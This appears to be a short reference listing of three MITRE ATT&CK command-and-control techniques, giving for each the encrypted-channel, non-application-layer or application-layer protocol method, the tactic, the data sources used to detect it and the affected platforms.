Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre